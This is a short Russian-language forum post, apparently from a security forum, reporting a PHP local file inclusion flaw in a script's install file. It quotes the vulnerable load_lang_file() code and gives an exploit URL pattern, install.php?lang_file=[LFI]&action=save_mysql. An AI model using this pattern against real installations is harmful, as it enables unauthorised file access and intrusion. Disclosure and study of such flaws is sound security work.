Показать сообщение отдельно

  #11  
Старый 20.10.2009, 13:03
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию

PHP Include.
Внимание, уязвимость находиться в файл установки скрипта ().
Цитата:
function load_lang_file()
{
global $install_lang;

$GLOBALS["find_install_lang"] = array();

// Make sure the languages directory actually exists.
if (file_exists(dirname(__FILE__) . '/language/install_lang/'))
{
// Find all the "Install" language files in the directory.
$dir = dir(dirname(__FILE__) . '/language/install_lang/');
while ($entry = $dir->read())
{
if (substr($entry, 0, 8) == 'install.' && substr($entry, -4) == '.php')
$GLOBALS["find_install_lang"][$entry] = ucfirst(substr($entry, 8, strlen($entry) - 12));
}
$dir->close();
}
install.php?lang_file=[LFI]&action=save_mysql
 
Ответить с цитированием